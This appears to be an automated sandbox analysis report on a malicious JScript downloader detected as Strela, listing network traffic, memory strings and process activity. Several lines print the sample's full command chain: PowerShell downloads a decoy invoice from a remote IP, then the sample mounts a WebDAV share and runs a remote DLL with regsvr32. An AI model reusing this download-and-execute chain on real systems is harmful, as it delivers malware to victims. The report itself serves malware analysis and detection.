TCP traffic: 192.168.2.10:49738 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49722 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1294880415.0000029E755B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1368223977.000001D86FE90000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1357803826.000001D86FE8E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1368151683.000001D86FE38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1366553927.000001D86FE68000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1368223977.000001D86FE68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1368151683.000001D86FE38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000009.00000002.2570610969.000001C78C0A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1364829558.000001C791460000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7704, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2227274219703378.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1412:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m4dlxj0j.5ti.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1696,i,1794104358576165871,10114287455485969065,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1696,i,1794104358576165871,10114287455485969065,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
